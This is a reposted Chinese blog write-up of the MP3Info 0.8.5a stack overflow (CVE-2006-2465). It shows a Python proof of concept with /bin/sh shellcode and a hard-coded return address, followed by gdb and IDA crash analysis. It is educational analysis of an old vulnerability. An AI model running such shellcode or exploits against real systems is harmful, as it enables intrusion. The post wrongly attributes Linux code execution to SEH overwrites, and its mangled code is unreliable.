Linux漏洞分析--MP3Info 0.8.5a代碼執行漏洞(CVE-2006-2465)。
漏洞說明
軟件下載:
https://www.exploit-db.com/apps/cb7b619a10a40aaac2113b87bb2b2ea2-mp3info-0.8.5a.tgz
PoC:
junk = "\x90\x90\x90\x90"*8 shellcode = "\x31\xc0\x50\x68/\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"buffer = "\x90\x90\x90\x90"*89eip = "\x10\xf0\xff\xbf"print "# MP3info is prone to a Stack-BoF"print "# Wasting CPU clocks on unusable exploits"print "# This is exploit is for educational purposes"try: subprocess.call(["mp3info", junk+shellcode+buffer+eip])except OSError as e: if e.errno == os.errno.ENOENT: print "MP3Info not found!" else: print "Error executing exploit" raise
測試環境:
Kali 2.0
這個漏洞是個本地代碼執行漏洞,poc的意思其實也就是調用mp3info,通過命令行傳入畸形字符串,可以直接用$python -c的方法傳入畸形字符串也可以的。用gdb打開,然后run $python -c+畸形字符串就可以直接到達漏洞現場,這個是我調試的第一個Linux漏洞,漏洞比較基礎,有代表性。
此漏洞是我的第一篇linux分析,特此紀念一下!GET了很多新的linux下的調試方法,非常有收獲。
漏洞復現
此漏洞并不像詳情描述的那樣,而是在處理MP3路徑時,由于路徑不可讀,而轉入錯誤處理流程時,錯誤的將文件路徑傳入,作為錯誤信息傳入linux的perror()函數,在處理過程中發生錯誤,進入SEH異常函數,再通過覆蓋SEH指針執行任意代碼。下面對此漏洞進行詳細分析。
首先我們需要在linux下編譯MP3Info,需要下載一個依賴的頭文件libncurses5-dev,安裝后可以編譯MP3Info,編譯完成后,我們不利用poc,直接用python輸入畸形字符串。
root@root:~/Desktop/mp3info-0.8.5a# ./mp3info $(python -c 'print "\x41"*100')Error opening MP3: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA: No such file or directoryroot@root:~/Desktop/mp3info-0.8.5a# ./mp3info $(python -c 'print "\x41"*700')Segmentation fault
可以看到,當畸形字符串長度到達700的時候,提示Segmentation fault,也就是指針出現錯誤,或者發生了緩沖區溢出。我們用gdb-peda來看一下崩潰時的信息。
首先是崩潰點。
[-------------------------------------code-------------------------------------] 0xb7e067cb <__GI_getenv+107>: mov esi,DWORD PTR [ebp+0x0] 0xb7e067ce <__GI_getenv+110>: test esi,esi 0xb7e067d0 <__GI_getenv+112>: je 0xb7e0682a <__GI_getenv+202>=> 0xb7e067d2 <__GI_getenv+114>: cmp di,WORD PTR [esi]
可以看到,在cmp比較語句時發生了錯誤,基本可以判斷esi寄存器應該是個不可讀的地址。
[----------------------------------registers-----------------------------------]EAX: 0x6 EBX: 0xb7f7c000 --> 0x1a5da8 ECX: 0x414c ('LA')EDX: 0xffbab8be ESI: 0x41414141 ('AAAA')
可以看到ESI的值確實是不可讀的地址41414141,那么我們現在來回溯堆棧調用。
gdb-peda$ bt#0 __GI_getenv (name=0xb7f32ff5 "NGUAGE", name@entry=0xb7f32ff3 "LANGUAGE") at getenv.c:85#1 0xb7dff10e in guess_category_value ( categoryname=0xb7f1c953 <_nl_category_names+51> "LC_MESSAGES", category=) at dcigettext.c:1356#2 __dcigettext ( domainname=domainname@entry=0xb7f32fae <_libc_intl_domainname> "libc", msgid1=msgid1@entry=0xb7f336a5 "File name too long", msgid2=msgid2@entry=0x0, plural=plural@entry=0x0, n=n@entry=0x0, category=category@entry=0x5) at dcigettext.c:561#3 0xb7dfe1f3 in __GI___dcgettext ( domainname=0xb7f32fae <_libc_intl_domainname> "libc", msgid=0xb7f336a5 "File name too long", category=category@entry=0x5) at dcgettext.c:52#4 0xb7e4ff2f in __GI___strerror_r (errnum=errnum@entry=0x24, buf=buf@entry=0xbfffea20 "@\360\377\267", buflen=buflen@entry=0x400) at _strerror.c:71#5 0xb7e36257 in perror_internal (fp=fp@entry=0x804f008, s=s@entry=0xbffff040 "Error opening MP3: ", 'A' ..., errnum=errnum@entry=0x24) at perror.c:37#6 0xb7e3633e in __GI_perror ( s=0xbffff040 "Error opening MP3: ", 'A' ...) at perror.c:74#7 0x08049597 in main ( argc=, argv=) at mp3info.c:195Backtrace stopped: previous frame inner to this frame (corrupt stack?)
我們主要來看0x08049597這個位置的調用,因為之后就進入系統函數了,那么我們就從0x08049597這個位置開始,進行分析。
漏洞分析
通過ida打開這個elf文件,我們來看一下0x08049597處的調用情況。
loc_804957B:fp = eax ; FILE *lea edi, [ebp+error_msg]fp = edx ; FILE *push eaxpush dword ptr [esi]push offset aErrorOpeningMp ; "Error opening MP3: %s"push edi ; scall _sprintfmov [esp], edi ; scall _perror
可以看到,在漏洞發生前call調用了perror這個系統函數,這個系統函數是用來輸出錯誤信息的,而其參數為一個指針。
void perror(const char *s);
我們向上回溯,可以看到一fopen打開操作。
.text:08049180 loc_8049180: ; CODE XREF: main+581j.text:08049180 cmp [ebp+view_only], 1.text:08049187 jz loc_804933E.text:0804918D sub esp, 8.text:08049190 push offset modes ; "rb+".text:08049195.text:08049195 loc_8049195: ; CODE XREF: main+5C5j.text:08049195 push dword ptr [esi] ; filename.text:08049197 call _fopen
進行fopen之后,會有一處跳轉,當文件不能打開時,會進入perror()函數對應的分支處理,那么我們就從fopen下斷點開始跟蹤,還原漏洞發生的整個過程。
我們利用
b*0x08049197
在fopen處下斷點,觀察一下到達此時棧的情況,首先是棧內的情況。
[------------------------------------stack-------------------------------------]0000| 0xbfffee10 --> 0xbffff337 ('A' ...)0004| 0xbfffee14 --> 0x804b8dd --> 0x45006272 ('rb')0008| 0xbfffee18 --> 0x1
此時棧頂的的值分別為0xbffff337和0x804b8dd,棧情況在后面顯示的已經很明顯,此時0xbffff337對應的文件路徑。
gdb-peda$ x/10x 0xbffff3370xbffff337: 0x41414141 0x41414141 0x41414141 0x414141410xbffff347: 0x41414141 0x41414141 0x41414141 0x414141410xbffff357: 0x41414141 0x41414141
當然啦,這個就是畸形字符串了,也是無法打開的,接下來,進入無法打開文件的分支。
gdb-peda$ x/10x $esi0xbffff208: 0xbffff39b 0x00000000 0xbffff658 0xbffff6630xbffff218: 0xbffff674 0xbffff687 0xbffff6b2 0xbffff6c30xbffff228: 0xbffff6da 0xbffff6eagdb-peda$ x/10x 0xbffff39b0xbffff39b: 0x41414141 0x41414141 0x41414141 0x414141410xbffff3ab: 0x41414141 0x41414141 0x41414141 0x414141410xbffff3bb: 0x41414141 0x41414141
執行到perror的時候,可以看到此時esi已經是畸形字符串了,而直到此時,還沒有對perror的參數,接下來執行到perror的處理中時。
gdb-peda$ x/100x $ebp0xbffff210: 0x41414141 0x41414141 0x41414141 0x414141410xbffff220: 0x41414141 0x41414141 0x41414141 0x414141410xbffff230: 0x41414141 0x41414141 0x41414141 0x414141410xbffff240: 0x41414141 0x41414141 0x41414141 0x414141410xbffff250: 0x41414141 0x41414141 0x41414141 0x414141410xbffff260: 0x41414141 0x41414141 0x41414141 0x414141410xbffff270: 0x41414141 0x41414141 0x41414141 0x414141410xbffff280: 0x41414141 0x41414141 0x41414141 0x414141410xbffff290: 0x41414141 0x41414141 0x41414141 0x414141410xbffff2a0: 0x41414141 0x41414141 0x41414141 0x414141410xbffff2b0: 0x41414141 0x41414141 0x41414141 0x414141410xbffff2c0: 0x41414141 0x41414141 0x41414141 0x414141410xbffff2d0: 0x41414141 0x41414141 0x41414141 0x414141410xbffff2e0: 0x41414141 0x41414141 0x41414141 0x414141410xbffff2f0: 0x41414141 0x41414141 0x41414141 0x414141410xbffff300: 0x41414141 0x41414141 0x41414141
此時我們來回顧一下之前為什么會出現這種情況,前面的fopen附近都沒有什么問題,問題出現在perror之前。
loc_804957B:fp = eax ; FILE *lea edi, [ebp+error_msg]fp = edx ; FILE *push eaxpush dword ptr [esi]push offset aErrorOpeningMp ; "Error opening MP3: %s"push edi ; scall _sprintfmov [esp], edi ; scall _perror
這里我們就不用ida進行反編譯了,我們直接來看一下這個函數
sprintf(edi,offset aErrorOpeningMp,[esi],eax)perror(edi)
那么問題來了,實際上edi就是錯誤消息,而這個錯誤消息卻被esi賦值,esi的值就是錯誤路徑的值,這時傳入會造成ebp被覆蓋,上面已經展示了,覆蓋后有一處會將ebp+0x00的值讀取給esi,后面又調用esi的地址做cmp,從而造成地址不可讀。
接下來進入seh異常處理函數,通過覆蓋seh指針,可造成任意代碼執行。
看文倉www.kanwencang.com網友整理上傳,為您提供最全的知識大全,期待您的分享,轉載請注明出處。
歡迎轉載:http://www.kanwencang.com/bangong/20170309/115550.html
文章列表